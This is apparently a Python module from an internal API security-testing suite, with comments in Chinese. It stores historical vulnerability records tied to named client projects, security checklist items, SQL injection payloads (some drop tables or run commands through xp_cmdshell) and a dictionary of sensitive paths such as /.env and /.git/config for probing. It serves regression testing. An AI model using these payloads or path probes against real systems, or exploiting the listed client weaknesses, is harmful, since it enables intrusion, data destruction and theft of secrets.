#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
模块名称：knowledge_base.py
模块描述：安全测试知识库，包含历史漏洞、华为安全红线、测试载荷等数据

作者：czj
创建日期：2026-07-21
最后修改：2026-07-21
"""

# 安全测试知识库数据
# 来源：临时目录/安全测试/ApiSecurityTest/utils/knowledge_base.py

KNOWLEDGE_BASE = {
    # ==================== 历史漏洞回归测试 ====================
    "historical_vulns": [
        {
            "vuln_id": "HV-001",
            "title": "SQL注入 - 会议预定接口",
            "severity": "high",
            "vuln_type": "SQL_INJECTION",
            "source_project": "长安深蓝汽车",
            "detection_method": "IAST插桩检测",
            "regression_note": "验证会议预定接口是否已使用预编译语句",
            "mapped_paths": ["/api/message/book", "/oldmeeting/api/message/book"],
        },
        {
            "vuln_id": "HV-002",
            "title": "Spring Actuator 信息泄露 - Nacos",
            "severity": "medium",
            "vuln_type": "INFO_DISCLOSURE",
            "source_project": "南山区委",
            "detection_method": "XDR告警+手动验证",
            "regression_note": "验证Nacos Actuator端点是否已关闭或被Nginx拦截",
            "mapped_paths": ["/nacos/actuator/", "/nacos/actuator/health"],
        },
        {
            "vuln_id": "HV-003",
            "title": "安全响应头缺失（全站）",
            "severity": "medium",
            "vuln_type": "MISSING_HEADERS",
            "source_project": "厦门银行总行大厦、龙华儿童医院",
            "detection_method": "华为Web漏扫",
            "regression_note": "验证X-Frame-Options、CSP、HSTS等安全头是否已配置",
            "mapped_paths": ["全局"],
        },
        {
            "vuln_id": "HV-005",
            "title": "Nacos 未授权访问",
            "severity": "high",
            "vuln_type": "UNAUTH_ACCESS",
            "source_project": "南山区委",
            "detection_method": "攻防演练",
            "regression_note": "验证Nacos是否开启鉴权，配置列表和服务列表是否需Token",
            "mapped_paths": ["/nacos/", "/nacos/v1/cs/configs", "/nacos/v1/ns/service/list"],
        },
        {
            "vuln_id": "HV-006",
            "title": "Swagger 文档暴露",
            "severity": "medium",
            "vuln_type": "INFO_DISCLOSURE",
            "source_project": "历史多个项目",
            "detection_method": "手动探测",
            "regression_note": "验证各路径下的Swagger文档是否已全部拦截",
            "mapped_paths": ["/swagger-ui.html", "/v2/api-docs"],
        },
        {
            "vuln_id": "HV-007",
            "title": "固定验证码 csba",
            "severity": "medium",
            "vuln_type": "WEAK_AUTH",
            "source_project": "需求文档已确认",
            "detection_method": "已知问题",
            "regression_note": "记录为已知安全问题，验证是否已改为随机验证码",
            "mapped_paths": ["/platform/api/auth/login"],
        },
        {
            "vuln_id": "HV-008",
            "title": "密码SHA256无加盐哈希",
            "severity": "medium",
            "vuln_type": "WEAK_CRYPTO",
            "source_project": "网络抓包确认",
            "detection_method": "已知问题",
            "regression_note": "验证是否已升级为bcrypt/argon2等加盐哈希",
            "mapped_paths": ["登录接口"],
        },
        {
            "vuln_id": "HV-009",
            "title": "WebSocket端点无认证",
            "severity": "high",
            "vuln_type": "UNAUTH_ACCESS",
            "source_project": "Nginx配置分析",
            "detection_method": "配置审查",
            "regression_note": "验证WebSocket连接是否需要认证",
            "mapped_paths": ["/ws"],
        },
        {
            "vuln_id": "HV-011",
            "title": "Nacos serverIdentity 权限绕过",
            "severity": "high",
            "vuln_type": "PRIVILEGE_BYPASS",
            "source_project": "长安深蓝汽车（POC漏洞）",
            "detection_method": "POC扫描",
            "regression_note": "验证/nacos/v1/auth/users是否仍可匿名访问用户列表",
            "mapped_paths": ["/nacos/v1/auth/users"],
        },
        {
            "vuln_id": "HV-016",
            "title": "JWT弱密钥",
            "severity": "high",
            "vuln_type": "WEAK_CRYPTO",
            "source_project": "长安深蓝汽车（安全测试报告）",
            "detection_method": "渗透测试",
            "regression_note": "验证JWT密钥是否已更换为强密钥",
            "mapped_paths": ["全部JWT接口"],
        },
        {
            "vuln_id": "HV-026",
            "title": "NoSQL注入 - 登录接口",
            "severity": "critical",
            "vuln_type": "NOSQL_INJECTION",
            "source_project": "新统一平台（HCL AppScan）",
            "detection_method": "AppScan自动化扫描",
            "regression_note": "验证username参数类型校验是否已加强",
            "mapped_paths": ["/platform/api/auth/login"],
        },
        {
            "vuln_id": "HV-027",
            "title": "API成批分配 - 用户查询接口",
            "severity": "high",
            "vuln_type": "MASS_ASSIGNMENT",
            "source_project": "新统一平台（HCL AppScan）",
            "detection_method": "AppScan自动化扫描",
            "regression_note": "验证请求体中是否可注入is_admin/role字段",
            "mapped_paths": ["/api/manageUser/getManagerPageForBook"],
        },
        {
            "vuln_id": "HV-030",
            "title": "注销后Token/会话未失效",
            "severity": "high",
            "vuln_type": "SESSION_MANAGEMENT",
            "source_project": "南山区委（前台渗透测试报告）",
            "detection_method": "渗透测试",
            "regression_note": "注销后使用旧Token调用需认证接口，验证是否返回401",
            "mapped_paths": ["/platform/api/auth/logout", "/platform/api/system/logout"],
        },
        {
            "vuln_id": "HV-031",
            "title": "运维集控越权访问 - company_id参数未校验",
            "severity": "high",
            "vuln_type": "PRIVILEGE_ESCALATION",
            "source_project": "天津海油（渗透测试复测）",
            "detection_method": "渗透测试",
            "regression_note": "使用普通用户Token访问/monitor/api2/api/的管理接口",
            "mapped_paths": ["/monitor/api2/api/roommaster/", "/monitor/api2/api/alarmststus/"],
        },
    ],

    # ==================== 华为安全红线检查 ====================
    "huawei_redlines": [
        {
            "check_id": "HW-01",
            "category": "加密规范",
            "requirement": "密码存储必须使用加盐哈希（bcrypt/argon2）",
            "severity": "high",
            "check_method": "检查密码存储算法，禁止MD5/SHA256无盐哈希",
        },
        {
            "check_id": "HW-02",
            "category": "加密规范",
            "requirement": "密钥不能硬编码在代码中",
            "severity": "high",
            "check_method": "代码审计，检查是否有硬编码密钥",
        },
        {
            "check_id": "HW-03",
            "category": "传输安全",
            "requirement": "必须使用HTTPS协议",
            "severity": "high",
            "check_method": "检查是否强制HTTPS，禁止HTTP访问",
        },
        {
            "check_id": "HW-04",
            "category": "传输安全",
            "requirement": "TLS版本不低于1.2",
            "severity": "medium",
            "check_method": "检查TLS版本配置",
        },
        {
            "check_id": "HW-05",
            "category": "鉴权机制",
            "requirement": "Token有效期不应超过24小时",
            "severity": "medium",
            "check_method": "检查JWT/Token过期时间配置",
        },
        {
            "check_id": "HW-06",
            "category": "鉴权机制",
            "requirement": "注销后Token必须立即失效",
            "severity": "high",
            "check_method": "注销后使用旧Token访问接口，应返回401",
        },
        {
            "check_id": "HW-07",
            "category": "鉴权机制",
            "requirement": "验证码必须随机生成",
            "severity": "medium",
            "check_method": "检查验证码生成逻辑",
        },
        {
            "check_id": "HW-08",
            "category": "鉴权机制",
            "requirement": "登录失败5次后应锁定账号15分钟",
            "severity": "medium",
            "check_method": "连续错误登录测试",
        },
        {
            "check_id": "HW-09",
            "category": "配置管理",
            "requirement": "中间件管理界面不应对外开放",
            "severity": "high",
            "check_method": "检查/nacos/、/actuator/等路径是否可外部访问",
        },
        {
            "check_id": "HW-10",
            "category": "配置管理",
            "requirement": "Swagger/API文档不应在生产环境暴露",
            "severity": "medium",
            "check_method": "检查/swagger-ui.html、/v2/api-docs等路径",
        },
        {
            "check_id": "HW-11",
            "category": "配置管理",
            "requirement": "调试接口和测试端点应关闭",
            "severity": "medium",
            "check_method": "检查/test/、/debug/等路径",
        },
        {
            "check_id": "HW-12",
            "category": "输入验证",
            "requirement": "所有用户输入必须进行服务端校验",
            "severity": "high",
            "check_method": "SQL注入、XSS、NoSQL注入测试",
        },
        {
            "check_id": "HW-13",
            "category": "权限控制",
            "requirement": "每个接口必须校验用户权限",
            "severity": "high",
            "check_method": "越权测试：普通用户访问管理员接口",
        },
        {
            "check_id": "HW-14",
            "category": "权限控制",
            "requirement": "用户只能访问自己的数据",
            "severity": "high",
            "check_method": "水平越权测试：遍历ID访问其他用户数据",
        },
        {
            "check_id": "HW-15",
            "category": "日志审计",
            "requirement": "敏感操作必须记录日志",
            "severity": "medium",
            "check_method": "检查登录、权限变更等操作是否有日志",
        },
    ],

    # ==================== SQL注入测试载荷 ====================
    "sql_injection_payloads": [
        "' OR '1'='1",
        "' OR '1'='1' --",
        "' OR '1'='1' /*",
        "1' AND '1'='1",
        "1' AND '1'='2",
        "1 OR 1=1",
        "1 AND 1=2",
        "'; DROP TABLE users--",
        "' UNION SELECT NULL--",
        "' UNION SELECT 1,2,3--",
        "admin'--",
        "admin' #",
        "1; EXEC xp_cmdshell('dir')--",
        "' AND SLEEP(5)--",
        "' AND BENCHMARK(10000000,SHA1('test'))--",
        "1' ORDER BY 1--",
        "1' GROUP BY 1--",
        "' HAVING 1=1--",
        "-1' UNION SELECT table_name FROM information_schema.tables--",
        "-1' UNION SELECT column_name FROM information_schema.columns--",
    ],

    # ==================== 敏感路径探测字典 ====================
    "sensitive_paths": [
        # 配置文件
        "/config.json",
        "/static/config.json",
        "/config.yaml",
        "/.env",
        "/.git/config",
        "/WEB-INF/web.xml",

        # 管理界面
        "/nacos/",
        "/actuator/",
        "/swagger-ui.html",
        "/swagger-resources",
        "/v2/api-docs",
        "/druid/",
        "/admin/",
        "/manager/",

        # 测试调试
        "/test/",
        "/debug/",
        "/health",
        "/info",
        "/trace",
        "/metrics",

        # 备份文件
        "/backup.zip",
        "/backup.sql",
        "/db.sql",
        "/dump.sql",

        # 内部接口
        "/api/internal/",
        "/api/admin/",
        "/system/inner/",
        "/noLogin/",
    ],
}


def get_historical_vulns():
    """获取历史漏洞列表"""
    return KNOWLEDGE_BASE.get("historical_vulns", [])


def get_huawei_redlines():
    """获取华为安全红线列表"""
    return KNOWLEDGE_BASE.get("huawei_redlines", [])


def get_sql_payloads():
    """获取SQL注入载荷列表"""
    return KNOWLEDGE_BASE.get("sql_injection_payloads", [])


def get_sensitive_paths():
    """获取敏感路径字典"""
    return KNOWLEDGE_BASE.get("sensitive_paths", [])
